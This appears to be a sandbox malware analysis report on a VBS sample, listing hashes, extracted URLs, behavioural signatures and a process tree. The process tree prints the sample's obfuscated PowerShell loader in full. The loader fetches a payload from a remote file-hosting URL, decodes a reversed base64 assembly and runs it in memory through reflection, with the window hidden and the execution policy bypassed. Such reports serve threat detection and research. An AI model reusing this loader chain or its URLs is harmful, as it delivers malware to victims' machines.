Analysis
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max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
13-11-2024 03:05
Static task
static1
Behavioral task
behavioral1
Sample
e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs
Resource
win10v2004-20241007-en
General
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Target
e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs
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Size
12KB
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MD5
4e9b8807134dfb560b0eb3f0bf8705af
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SHA1
086e955967a78b02bb006f3d2755dfc49c536990
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SHA256
e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
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SHA512
62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b
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SSDEEP
192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl
Malware Config
Extracted
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
Signatures
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Blocklisted process makes network request 4 IoCs
Processes:
WScript.exepowershell.exeflow pid Process 2 2800 WScript.exe 4 2800 WScript.exe 8 2608 powershell.exe 9 2608 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2848 powershell.exe 2608 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid Process 2848 powershell.exe 2608 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 2608 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.exeWScript.exepowershell.exedescription pid Process procid_target PID 2308 wrote to memory of 2800 2308 WScript.exe 31 PID 2308 wrote to memory of 2800 2308 WScript.exe 31 PID 2308 wrote to memory of 2800 2308 WScript.exe 31 PID 2800 wrote to memory of 2848 2800 WScript.exe 32 PID 2800 wrote to memory of 2848 2800 WScript.exe 32 PID 2800 wrote to memory of 2848 2800 WScript.exe 32 PID 2848 wrote to memory of 2608 2848 powershell.exe 34 PID 2848 wrote to memory of 2608 2848 powershell.exe 34 PID 2848 wrote to memory of 2608 2848 powershell.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2608
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD57204c9eb7a0202a3eb5732158ac1e4a7
SHA1b46404c81270dc41fe73c8b33503f08f4522c055
SHA2566181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05
SHA512bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD562957cee536ae5f807d679e112fae1e1
SHA1170c7a6f8b2c85efd118427414816db5b6f6bf33
SHA256f5da8356a0e93dab762bfa570e0474435710802b0071764400c69880875f62e7
SHA512a18c008954736d22b06a0aaadc60865a196d0eb117681aa053cf1c3da0cdea66d9311989a10a2e36333fc8abba6252c2cf77fd0b454e2f7bc974675480387094